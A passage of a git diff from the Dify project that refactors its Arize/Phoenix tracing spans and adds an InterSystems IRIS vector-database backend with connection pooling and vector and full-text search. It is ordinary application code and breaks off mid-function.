+            SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.TEXT.value,
+            SpanAttributes.OUTPUT_VALUE: trace_info.message_data.answer,
+            SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.TEXT.value,
+            SpanAttributes.METADATA: safe_json_dumps(metadata),
+            SpanAttributes.SESSION_ID: trace_info.message_data.conversation_id or "",
         }
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id
@@ -393,8 +429,10 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
         try:
             # Convert outputs to string based on type
+            outputs_mime_type = OpenInferenceMimeTypeValues.TEXT.value
             if isinstance(trace_info.outputs, dict | list):
-                outputs_str = json.dumps(trace_info.outputs, ensure_ascii=False)
+                outputs_str = safe_json_dumps(trace_info.outputs)
+                outputs_mime_type = OpenInferenceMimeTypeValues.JSON.value
             elif isinstance(trace_info.outputs, str):
                 outputs_str = trace_info.outputs
             else:
@@ -402,10 +440,12 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
             llm_attributes = {
                 SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.LLM.value,
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.inputs, ensure_ascii=False),
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
                 SpanAttributes.OUTPUT_VALUE: outputs_str,
-                SpanAttributes.METADATA: json.dumps(message_metadata, ensure_ascii=False),
-                SpanAttributes.SESSION_ID: trace_info.message_data.conversation_id,
+                SpanAttributes.OUTPUT_MIME_TYPE: outputs_mime_type,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
+                SpanAttributes.SESSION_ID: trace_info.message_data.conversation_id or "",
             }
             llm_attributes.update(self._construct_llm_attributes(trace_info.inputs))
             if trace_info.total_tokens is not None and trace_info.total_tokens > 0:
@@ -449,16 +489,20 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
     def moderation_trace(self, trace_info: ModerationTraceInfo):
         if trace_info.message_data is None:
+            logger.warning("[Arize/Phoenix] Message data is None, skipping moderation trace.")
             return
 
-        metadata = {
-            "message_id": trace_info.message_id,
-            "tool_name": "moderation",
-            "status": trace_info.message_data.status,
-            "status_message": trace_info.message_data.error or "",
-            "level": "ERROR" if trace_info.message_data.error else "DEFAULT",
-        }
-        metadata.update(trace_info.metadata)
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.message_data.status or "",
+            status_message=trace_info.message_data.error or "",
+            level="ERROR" if trace_info.message_data.error else "DEFAULT",
+            trace_entity_type="moderation",
+            model_provider=trace_info.message_data.model_provider or "",
+            model_id=trace_info.message_data.model_id or "",
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id
         self.ensure_root_span(dify_trace_id)
@@ -467,18 +511,19 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
         span = self.tracer.start_span(
             name=TraceTaskName.MODERATION_TRACE.value,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: json.dumps(
+                SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.TOOL.value,
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: safe_json_dumps(
                     {
-                        "action": trace_info.action,
                         "flagged": trace_info.flagged,
+                        "action": trace_info.action,
                         "preset_response": trace_info.preset_response,
-                        "inputs": trace_info.inputs,
-                    },
-                    ensure_ascii=False,
+                        "query": trace_info.query,
+                    }
                 ),
-                SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.CHAIN.value,
-                SpanAttributes.METADATA: json.dumps(metadata, ensure_ascii=False),
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
             },
             start_time=datetime_to_nanos(trace_info.start_time),
             context=root_span_context,
@@ -494,22 +539,28 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
     def suggested_question_trace(self, trace_info: SuggestedQuestionTraceInfo):
         if trace_info.message_data is None:
+            logger.warning("[Arize/Phoenix] Message data is None, skipping suggested question trace.")
             return
 
         start_time = trace_info.start_time or trace_info.message_data.created_at
         end_time = trace_info.end_time or trace_info.message_data.updated_at
 
-        metadata = {
-            "message_id": trace_info.message_id,
-            "tool_name": "suggested_question",
-            "status": trace_info.status,
-            "status_message": trace_info.error or "",
-            "level": "ERROR" if trace_info.error else "DEFAULT",
-            "total_tokens": trace_info.total_tokens,
-            "ls_provider": trace_info.model_provider or "",
-            "ls_model_name": trace_info.model_id or "",
-        }
-        metadata.update(trace_info.metadata)
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.status or "",
+            status_message=trace_info.status_message or "",
+            level=trace_info.level or "",
+            trace_entity_type="suggested_question",
+            total_tokens=trace_info.total_tokens or 0,
+            from_account_id=trace_info.from_account_id or "",
+            agent_based=trace_info.agent_based or False,
+            from_source=trace_info.from_source or "",
+            model_provider=trace_info.model_provider or "",
+            model_id=trace_info.model_id or "",
+            workflow_run_id=trace_info.workflow_run_id or "",
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id
         self.ensure_root_span(dify_trace_id)
@@ -518,10 +569,12 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
         span = self.tracer.start_span(
             name=TraceTaskName.SUGGESTED_QUESTION_TRACE.value,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: json.dumps(trace_info.suggested_question, ensure_ascii=False),
-                SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.CHAIN.value,
-                SpanAttributes.METADATA: json.dumps(metadata, ensure_ascii=False),
+                SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.TOOL.value,
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: safe_json_dumps(trace_info.suggested_question),
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
             },
             start_time=datetime_to_nanos(start_time),
             context=root_span_context,
@@ -537,21 +590,23 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
     def dataset_retrieval_trace(self, trace_info: DatasetRetrievalTraceInfo):
         if trace_info.message_data is None:
+            logger.warning("[Arize/Phoenix] Message data is None, skipping dataset retrieval trace.")
             return
 
         start_time = trace_info.start_time or trace_info.message_data.created_at
         end_time = trace_info.end_time or trace_info.message_data.updated_at
 
-        metadata = {
-            "message_id": trace_info.message_id,
-            "tool_name": "dataset_retrieval",
-            "status": trace_info.message_data.status,
-            "status_message": trace_info.message_data.error or "",
-            "level": "ERROR" if trace_info.message_data.error else "DEFAULT",
-            "ls_provider": trace_info.message_data.model_provider or "",
-            "ls_model_name": trace_info.message_data.model_id or "",
-        }
-        metadata.update(trace_info.metadata)
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.message_data.status or "",
+            status_message=trace_info.error or "",
+            level="ERROR" if trace_info.error else "DEFAULT",
+            trace_entity_type="dataset_retrieval",
+            model_provider=trace_info.message_data.model_provider or "",
+            model_id=trace_info.message_data.model_id or "",
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id
         self.ensure_root_span(dify_trace_id)
@@ -560,20 +615,20 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
         span = self.tracer.start_span(
             name=TraceTaskName.DATASET_RETRIEVAL_TRACE.value,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: json.dumps({"documents": trace_info.documents}, ensure_ascii=False),
                 SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.RETRIEVER.value,
-                SpanAttributes.METADATA: json.dumps(metadata, ensure_ascii=False),
-                "start_time": start_time.isoformat() if start_time else "",
-                "end_time": end_time.isoformat() if end_time else "",
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: safe_json_dumps({"documents": trace_info.documents}),
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
             },
             start_time=datetime_to_nanos(start_time),
             context=root_span_context,
         )
 
         try:
-            if trace_info.message_data.error:
-                set_span_status(span, trace_info.message_data.error)
+            if trace_info.error:
+                set_span_status(span, trace_info.error)
             else:
                 set_span_status(span)
         finally:
@@ -584,30 +639,34 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
             logger.warning("[Arize/Phoenix] Message data is None, skipping tool trace.")
             return
 
-        metadata = {
-            "message_id": trace_info.message_id,
-            "tool_config": json.dumps(trace_info.tool_config, ensure_ascii=False),
-        }
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.message_data.status or "",
+            status_message=trace_info.error or "",
+            level="ERROR" if trace_info.error else "DEFAULT",
+            trace_entity_type="tool",
+            tool_config=safe_json_dumps(trace_info.tool_config),
+            time_cost=trace_info.time_cost or 0,
+            file_url=trace_info.file_url or "",
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id
         self.ensure_root_span(dify_trace_id)
         root_span_context = self.propagator.extract(carrier=self.carrier)
 
-        tool_params_str = (
-            json.dumps(trace_info.tool_parameters, ensure_ascii=False)
-            if isinstance(trace_info.tool_parameters, dict)
-            else str(trace_info.tool_parameters)
-        )
-
         span = self.tracer.start_span(
             name=trace_info.tool_name,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.tool_inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: trace_info.tool_outputs,
                 SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.TOOL.value,
-                SpanAttributes.METADATA: json.dumps(metadata, ensure_ascii=False),
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.tool_inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: trace_info.tool_outputs,
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.TEXT.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
                 SpanAttributes.TOOL_NAME: trace_info.tool_name,
-                SpanAttributes.TOOL_PARAMETERS: tool_params_str,
+                SpanAttributes.TOOL_PARAMETERS: safe_json_dumps(trace_info.tool_parameters),
             },
             start_time=datetime_to_nanos(trace_info.start_time),
             context=root_span_context,
@@ -623,16 +682,22 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
 
     def generate_name_trace(self, trace_info: GenerateNameTraceInfo):
         if trace_info.message_data is None:
+            logger.warning("[Arize/Phoenix] Message data is None, skipping generate name trace.")
             return
 
-        metadata = {
-            "project_name": self.project,
-            "message_id": trace_info.message_id,
-            "status": trace_info.message_data.status,
-            "status_message": trace_info.message_data.error or "",
-            "level": "ERROR" if trace_info.message_data.error else "DEFAULT",
-        }
-        metadata.update(trace_info.metadata)
+        metadata = wrap_span_metadata(
+            trace_info.metadata,
+            trace_id=trace_info.trace_id or "",
+            message_id=trace_info.message_id or "",
+            status=trace_info.message_data.status or "",
+            status_message=trace_info.message_data.error or "",
+            level="ERROR" if trace_info.message_data.error else "DEFAULT",
+            trace_entity_type="generate_name",
+            model_provider=trace_info.message_data.model_provider or "",
+            model_id=trace_info.message_data.model_id or "",
+            conversation_id=trace_info.conversation_id or "",
+            tenant_id=trace_info.tenant_id,
+        )
 
         dify_trace_id = trace_info.trace_id or trace_info.message_id or trace_info.conversation_id
         self.ensure_root_span(dify_trace_id)
@@ -641,13 +706,13 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
         span = self.tracer.start_span(
             name=TraceTaskName.GENERATE_NAME_TRACE.value,
             attributes={
-                SpanAttributes.INPUT_VALUE: json.dumps(trace_info.inputs, ensure_ascii=False),
-                SpanAttributes.OUTPUT_VALUE: json.dumps(trace_info.outputs, ensure_ascii=False),
                 SpanAttributes.OPENINFERENCE_SPAN_KIND: OpenInferenceSpanKindValues.CHAIN.value,
-                SpanAttributes.METADATA: json.dumps(metadata, ensure_ascii=False),
-                SpanAttributes.SESSION_ID: trace_info.message_data.conversation_id,
-                "start_time": trace_info.start_time.isoformat() if trace_info.start_time else "",
-                "end_time": trace_info.end_time.isoformat() if trace_info.end_time else "",
+                SpanAttributes.INPUT_VALUE: safe_json_dumps(trace_info.inputs),
+                SpanAttributes.INPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.OUTPUT_VALUE: safe_json_dumps(trace_info.outputs),
+                SpanAttributes.OUTPUT_MIME_TYPE: OpenInferenceMimeTypeValues.JSON.value,
+                SpanAttributes.METADATA: safe_json_dumps(metadata),
+                SpanAttributes.SESSION_ID: trace_info.conversation_id or "",
             },
             start_time=datetime_to_nanos(trace_info.start_time),
             context=root_span_context,
@@ -688,32 +753,85 @@ class ArizePhoenixDataTrace(BaseTraceInstance):
             raise ValueError(f"[Arize/Phoenix] API check failed: {str(e)}")
 
     def get_project_url(self):
+        """Build a redirect URL that forwards the user to the correct project for Arize/Phoenix."""
         try:
-            if self.arize_phoenix_config.endpoint == "https://otlp.arize.com":
-                return "https://app.arize.com/"
-            else:
-                return f"{self.arize_phoenix_config.endpoint}/projects/"
+            project_name = self.arize_phoenix_config.project
+            endpoint = self.arize_phoenix_config.endpoint.rstrip("/")
+
+            # Arize
+            if isinstance(self.arize_phoenix_config, ArizeConfig):
+                return f"https://app.arize.com/?redirect_project_name={project_name}"
+
+            # Phoenix
+            return f"{endpoint}/projects/?redirect_project_name={project_name}"
+
         except Exception as e:
-            logger.info("[Arize/Phoenix] Get run url failed: %s", str(e), exc_info=True)
-            raise ValueError(f"[Arize/Phoenix] Get run url failed: {str(e)}")
+            logger.info("[Arize/Phoenix] Failed to construct project URL: %s", str(e), exc_info=True)
+            raise ValueError(f"[Arize/Phoenix] Failed to construct project URL: {str(e)}")
 
     def _construct_llm_attributes(self, prompts: dict | list | str | None) -> dict[str, str]:
-        """Helper method to construct LLM attributes with passed prompts."""
-        attributes = {}
+        """Construct LLM attributes with passed prompts for Arize/Phoenix."""
+        attributes: dict[str, str] = {}
+
+        def set_attribute(path: str, value: object) -> None:
+            """Store an attribute safely as a string."""
+            if value is None:
+                return
+            try:
+                if isinstance(value, (dict, list)):
+                    value = safe_json_dumps(value)
+                attributes[path] = str(value)
+            except Exception:
+                attributes[path] = str(value)
+
+        def set_message_attribute(message_index: int, key: str, value: object) -> None:
+            path = f"{SpanAttributes.LLM_INPUT_MESSAGES}.{message_index}.{key}"
+            set_attribute(path, value)
+
+        def set_tool_call_attributes(message_index: int, tool_index: int, tool_call: dict | object | None) -> None:
+            """Extract and assign tool call details safely."""
+            if not tool_call:
+                return
+
+            def safe_get(obj, key, default=None):
+                if isinstance(obj, dict):
+                    return obj.get(key, default)
+                return getattr(obj, key, default)
+
+            function_obj = safe_get(tool_call, "function", {})
+            function_name = safe_get(function_obj, "name", "")
+            function_args = safe_get(function_obj, "arguments", {})
+            call_id = safe_get(tool_call, "id", "")
+
+            base_path = (
+                f"{SpanAttributes.LLM_INPUT_MESSAGES}."
+                f"{message_index}.{MessageAttributes.MESSAGE_TOOL_CALLS}.{tool_index}"
+            )
+
+            set_attribute(f"{base_path}.{ToolCallAttributes.TOOL_CALL_FUNCTION_NAME}", function_name)
+            set_attribute(f"{base_path}.{ToolCallAttributes.TOOL_CALL_FUNCTION_ARGUMENTS_JSON}", function_args)
+            set_attribute(f"{base_path}.{ToolCallAttributes.TOOL_CALL_ID}", call_id)
+
+        # Handle list of messages
         if isinstance(prompts, list):
-            for i, msg in enumerate(prompts):
-                if isinstance(msg, dict):
-                    attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.{i}.message.content"] = msg.get("text", "")
-                    attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.{i}.message.role"] = msg.get("role", "user")
-                    # todo: handle assistant and tool role messages, as they don't always
-                    # have a text field, but may have a tool_calls field instead
-                    # e.g. 'tool_calls': [{'id': '98af3a29-b066-45a5-b4b1-46c74ddafc58',
-                    # 'type': 'function', 'function': {'name': 'current_time', 'arguments': '{}'}}]}
-        elif isinstance(prompts, dict):
-            attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.0.message.content"] = json.dumps(prompts)
-            attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.0.message.role"] = "user"
-        elif isinstance(prompts, str):
-            attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.0.message.content"] = prompts
-            attributes[f"{SpanAttributes.LLM_INPUT_MESSAGES}.0.message.role"] = "user"
+            for message_index, message in enumerate(prompts):
+                if not isinstance(message, dict):
+                    continue
+
+                role = message.get("role", "user")
+                content = message.get("text") or message.get("content") or ""
+
+                set_message_attribute(message_index, MessageAttributes.MESSAGE_ROLE, role)
+                set_message_attribute(message_index, MessageAttributes.MESSAGE_CONTENT, content)
+
+                tool_calls = message.get("tool_calls") or []
+                if isinstance(tool_calls, list):
+                    for tool_index, tool_call in enumerate(tool_calls):
+                        set_tool_call_attributes(message_index, tool_index, tool_call)
+
+        # Handle single dict or plain string prompt
+        elif isinstance(prompts, (dict, str)):
+            set_message_attribute(0, MessageAttributes.MESSAGE_CONTENT, prompts)
+            set_message_attribute(0, MessageAttributes.MESSAGE_ROLE, "user")
 
         return attributes
diff --git a/api/core/plugin/impl/base.py b/api/core/plugin/impl/base.py
index a1c84bd5d9..7bb2749afa 100644
--- a/api/core/plugin/impl/base.py
+++ b/api/core/plugin/impl/base.py
@@ -39,7 +39,7 @@ from core.trigger.errors import (
 plugin_daemon_inner_api_baseurl = URL(str(dify_config.PLUGIN_DAEMON_URL))
 _plugin_daemon_timeout_config = cast(
     float | httpx.Timeout | None,
-    getattr(dify_config, "PLUGIN_DAEMON_TIMEOUT", 300.0),
+    getattr(dify_config, "PLUGIN_DAEMON_TIMEOUT", 600.0),
 )
 plugin_daemon_request_timeout: httpx.Timeout | None
 if _plugin_daemon_timeout_config is None:
diff --git a/api/core/rag/datasource/vdb/iris/__init__.py b/api/core/rag/datasource/vdb/iris/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/api/core/rag/datasource/vdb/iris/iris_vector.py b/api/core/rag/datasource/vdb/iris/iris_vector.py
new file mode 100644
index 0000000000..b1bfabb76e
--- /dev/null
+++ b/api/core/rag/datasource/vdb/iris/iris_vector.py
@@ -0,0 +1,407 @@
+"""InterSystems IRIS vector database implementation for Dify.
+
+This module provides vector storage and retrieval using IRIS native VECTOR type
+with HNSW indexing for efficient similarity search.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import threading
+import uuid
+from contextlib import contextmanager
+from typing import TYPE_CHECKING, Any
+
+from configs import dify_config
+from configs.middleware.vdb.iris_config import IrisVectorConfig
+from core.rag.datasource.vdb.vector_base import BaseVector
+from core.rag.datasource.vdb.vector_factory import AbstractVectorFactory
+from core.rag.datasource.vdb.vector_type import VectorType
+from core.rag.embedding.embedding_base import Embeddings
+from core.rag.models.document import Document
+from extensions.ext_redis import redis_client
+from models.dataset import Dataset
+
+if TYPE_CHECKING:
+    import iris
+else:
+    try:
+        import iris
+    except ImportError:
+        iris = None  # type: ignore[assignment]
+
+logger = logging.getLogger(__name__)
+
+# Singleton connection pool to minimize IRIS license usage
+_pool_lock = threading.Lock()
+_pool_instance: IrisConnectionPool | None = None
+
+
+def get_iris_pool(config: IrisVectorConfig) -> IrisConnectionPool:
+    """Get or create the global IRIS connection pool (singleton pattern)."""
+    global _pool_instance  # pylint: disable=global-statement
+    with _pool_lock:
+        if _pool_instance is None:
+            logger.info("Initializing IRIS connection pool")
+            _pool_instance = IrisConnectionPool(config)
+        return _pool_instance
+
+
+class IrisConnectionPool:
+    """Thread-safe connection pool for IRIS database."""
+
+    def __init__(self, config: IrisVectorConfig) -> None:
+        self.config = config
+        self._pool: list[Any] = []
+        self._lock = threading.Lock()
+        self._min_size = config.IRIS_MIN_CONNECTION
+        self._max_size = config.IRIS_MAX_CONNECTION
+        self._in_use = 0
+        self._schemas_initialized: set[str] = set()  # Cache for initialized schemas
+        self._initialize_pool()
+
+    def _initialize_pool(self) -> None:
+        for _ in range(self._min_size):
+            self._pool.append(self._create_connection())
+
+    def _create_connection(self) -> Any:
+        return iris.connect(
+            hostname=self.config.IRIS_HOST,
+            port=self.config.IRIS_SUPER_SERVER_PORT,
+            namespace=self.config.IRIS_DATABASE,
+            username=self.config.IRIS_USER,
+            password=self.config.IRIS_PASSWORD,
+        )
+
+    def get_connection(self) -> Any:
+        """Get a connection from pool or create new if available."""
+        with self._lock:
+            if self._pool:
+                conn = self._pool.pop()
+                self._in_use += 1
+                return conn
+            if self._in_use < self._max_size:
+                conn = self._create_connection()
+                self._in_use += 1
+                return conn
+            raise RuntimeError("Connection pool exhausted")
+
+    def return_connection(self, conn: Any) -> None:
+        """Return connection to pool after validating it."""
+        if not conn:
+            return
+
+        # Validate connection health
+        is_valid = False
+        try:
+            cursor = conn.cursor()
+            cursor.execute("SELECT 1")
+            cursor.close()
+            is_valid = True
+        except (OSError, RuntimeError) as e:
+            logger.debug("Connection validation failed: %s", e)
+            try:
+                conn.close()
+            except (OSError, RuntimeError):
+                pass
+
+        with self._lock:
+            self._pool.append(conn if is_valid else self._create_connection())
+            self._in_use -= 1
+
+    def ensure_schema_exists(self, schema: str) -> None:
+        """Ensure schema exists in IRIS database.
+
+        This method is idempotent and thread-safe. It uses a memory cache to avoid
+        redundant database queries for already-verified schemas.
+
+        Args:
+            schema: Schema name to ensure exists
+
+        Raises:
+            Exception: If schema creation fails
+        """
+        # Fast path: check cache first (no lock needed for read-only set lookup)
+        if schema in self._schemas_initialized:
+            return
+
+        # Slow path: acquire lock and check again (double-checked locking)
+        with self._lock:
+            if schema in self._schemas_initialized:
+                return
+
+            # Get a connection to check/create schema
+            conn = self._pool[0] if self._pool else self._create_connection()
+            cursor = conn.cursor()
+            try:
+                # Check if schema exists using INFORMATION_SCHEMA
+                check_sql = """
+                    SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA
+                    WHERE SCHEMA_NAME = ?
+                """
+                cursor.execute(check_sql, (schema,))  # Must be tuple or list
+                exists = cursor.fetchone()[0] > 0
+
+                if not exists:
+                    # Schema doesn't exist, create it
+                    cursor.execute(f"CREATE SCHEMA {schema}")
+                    conn.commit()
+                    logger.info("Created schema: %s", schema)
+                else:
+                    logger.debug("Schema already exists: %s", schema)
+
+                # Add to cache to skip future checks
+                self._schemas_initialized.add(schema)
+
+            except Exception as e:
+                conn.rollback()
+                logger.exception("Failed to ensure schema %s exists", schema)
+                raise
+            finally:
+                cursor.close()
+
+    def close_all(self) -> None:
+        """Close all connections (application shutdown only)."""
+        with self._lock:
+            for conn in self._pool:
+                try:
+                    conn.close()
+                except (OSError, RuntimeError):
+                    pass
+            self._pool.clear()
+            self._in_use = 0
+            self._schemas_initialized.clear()
+
+
+class IrisVector(BaseVector):
+    """IRIS vector database implementation using native VECTOR type and HNSW indexing."""
+
+    def __init__(self, collection_name: str, config: IrisVectorConfig) -> None:
+        super().__init__(collection_name)
+        self.config = config
+        self.table_name = f"embedding_{collection_name}".upper()
+        self.schema = config.IRIS_SCHEMA or "dify"
+        self.pool = get_iris_pool(config)
+
+    def get_type(self) -> str:
+        return VectorType.IRIS
+
+    @contextmanager
+    def _get_cursor(self):
+        """Context manager for database cursor with connection pooling."""
+        conn = self.pool.get_connection()
+        cursor = conn.cursor()
+        try:
+            yield cursor
+            conn.commit()
+        except Exception:
+            conn.rollback()
+            raise
+        finally:
+            cursor.close()
+            self.pool.return_connection(conn)
+
+    def create(self, texts: list[Document], embeddings: list[list[float]], **kwargs) -> list[str]:
+        dimension = len(embeddings[0])
+        self._create_collection(dimension)
+        return self.add_texts(texts, embeddings)
+
+    def add_texts(self, documents: list[Document], embeddings: list[list[float]], **_kwargs) -> list[str]:
+        """Add documents with embeddings to the collection."""
+        added_ids = []
+        with self._get_cursor() as cursor:
+            for i, doc in enumerate(documents):
+                doc_id = doc.metadata.get("doc_id", str(uuid.uuid4())) if doc.metadata else str(uuid.uuid4())
+                metadata = json.dumps(doc.metadata) if doc.metadata else "{}"
+                embedding_str = json.dumps(embeddings[i])
+
+                sql = f"INSERT INTO {self.schema}.{self.table_name} (id, text, meta, embedding) VALUES (?, ?, ?, ?)"
+                cursor.execute(sql, (doc_id, doc.page_content, metadata, embedding_str))
+                added_ids.append(doc_id)
+
+        return added_ids
+
+    def text_exists(self, id: str) -> bool:  # pylint: disable=redefined-builtin
+        try:
+            with self._get_cursor() as cursor:
+                sql = f"SELECT 1 FROM {self.schema}.{self.table_name} WHERE id = ?"
+                cursor.execute(sql, (id,))
+                return cursor.fetchone() is not None
+        except (OSError, RuntimeError, ValueError):
+            return False
+
+    def delete_by_ids(self, ids: list[str]) -> None:
+        if not ids:
+            return
+
+        with self._get_cursor() as cursor:
+            placeholders = ",".join(["?" for _ in ids])
+            sql = f"DELETE FROM {self.schema}.{self.table_name} WHERE id IN ({placeholders})"
+            cursor.execute(sql, ids)
+
+    def delete_by_metadata_field(self, key: str, value: str) -> None:
+        """Delete documents by metadata field (JSON LIKE pattern matching)."""
+        with self._get_cursor() as cursor:
+            pattern = f'%"{key}": "{value}"%'
+            sql = f"DELETE FROM {self.schema}.{self.table_name} WHERE meta LIKE ?"
+            cursor.execute(sql, (pattern,))
+
+    def search_by_vector(self, query_vector: list[float], **kwargs: Any) -> list[Document]:
+        """Search similar documents using VECTOR_COSINE with HNSW index."""
+        top_k = kwargs.get("top_k", 4)
+        score_threshold = float(kwargs.get("score_threshold") or 0.0)
+        embedding_str = json.dumps(query_vector)
+
+        with self._get_cursor() as cursor:
+            sql = f"""
+                SELECT TOP {top_k} id, text, meta, VECTOR_COSINE(embedding, ?) as score
+                FROM {self.schema}.{self.table_name}
+                ORDER BY score DESC
+            """
+            cursor.execute(sql, (embedding_str,))
+
+            docs = []
+            for row in cursor.fetchall():
+                if len(row) >= 4:
+                    text, meta_str, score = row[1], row[2], float(row[3])
+                    if score >= score_threshold:
+                        metadata = json.loads(meta_str) if meta_str else {}
+                        metadata["score"] = score
+                        docs.append(Document(page_content=text, metadata=metadata))
+            return docs
+
+    def search_by_full_text(self, query: str, **kwargs: Any) -> list[Document]:
+        """Search documents by full-text using iFind index or fallback to LIKE search."""
+        top_k = kwargs.get("top_k", 5)
+
+        with self._get_cursor() as cursor:
+            if self.config.IRIS_TEXT_INDEX:
+                # Use iFind full-text search with index
+                text_index_name = f"idx_{self.table_name}_text"
+                sql = f"""
+                    SELECT TOP {top_k} id, text, meta
+                    FROM {self.schema}.{self.table_name}
+                    WHERE %ID %FIND search_index({text_index_name}, ?)
+                """
+                cursor.execute(sql, (query,))
+            else:
+                # Fallback to LIKE search (inefficient for large datasets)
+                query_pattern = f"%{query}%"
+                sql = f"""
+                    SELECT TOP {top_k} id, text, meta
+                    FROM {self.schema}.{self.table_name}
+                    WHERE text LIKE ?
+                """
+                cursor.execute(sql, (query_pattern,))
+
+            docs = []
+            for row in cursor.fetchall():
+                if len(row) >= 3:
+                    metadata = json.loads(row[2]) if row[2] else {}
+                    docs.append(Document(page_content=row[1], metadata=metadata))
+
+            if not docs:
+                logger.info("Full-text search for '%s' returned no results", query)
+
+            return docs
+
+    def delete(self) -> None:
+        """Delete the entire collection (drop table - permanent)."""
+        with self._get_cursor() as cursor:
+            sql = f"DROP TABLE {self.schema}.{self.table_name}"
+            cursor.execute(sql)
+
+    def _create_collection(self, dimension: int) -> None:
+        """Create table with VECTOR column and HNSW index.
+
+        Uses Redis lock to prevent concurrent creation attempts across multiple
+        API server instances (api, worker, worker_beat).
+        """
+        cache_key = f"vector_indexing_{self._collection_name}"
+        lock_name = f"{cache_key}_lock"
+
+        with redis_client.lock(lock_name, timeout=20):  # pylint: disable=not-context-manager
+            if redis_client.get(cache_key):
+                return
+
+            # Ensure schema exists (idempotent, cached after first call)
+            self.pool.ensure_schema_exists(self.schema)
+
+            with self._get_cursor() as cursor:
+                # Create table with VECTOR column
+                sql = f"""
+                    CREATE TABLE {self.schema}.{self.table_name} (
+                        id VARCHAR(255) PRIMARY KEY,
+                        text CLOB,
+                        meta CLOB,
+                        embedding VECTOR(DOUBLE, {dimension})
+                    )
+                """
+                logger.info("Creating table: %s.%s", self.schema, self.table_name)
+                cursor.execute(sql)
+
+                # Create HNSW index for vector similarity search
+                index_name = f"idx_{self.table_name}_embedding"
+                sql_index = (
+                    f"CREATE INDEX {index_name} ON {self.schema}.{self.table_name} "
+                    "(embedding) AS HNSW(Distance='Cosine')"
+                )
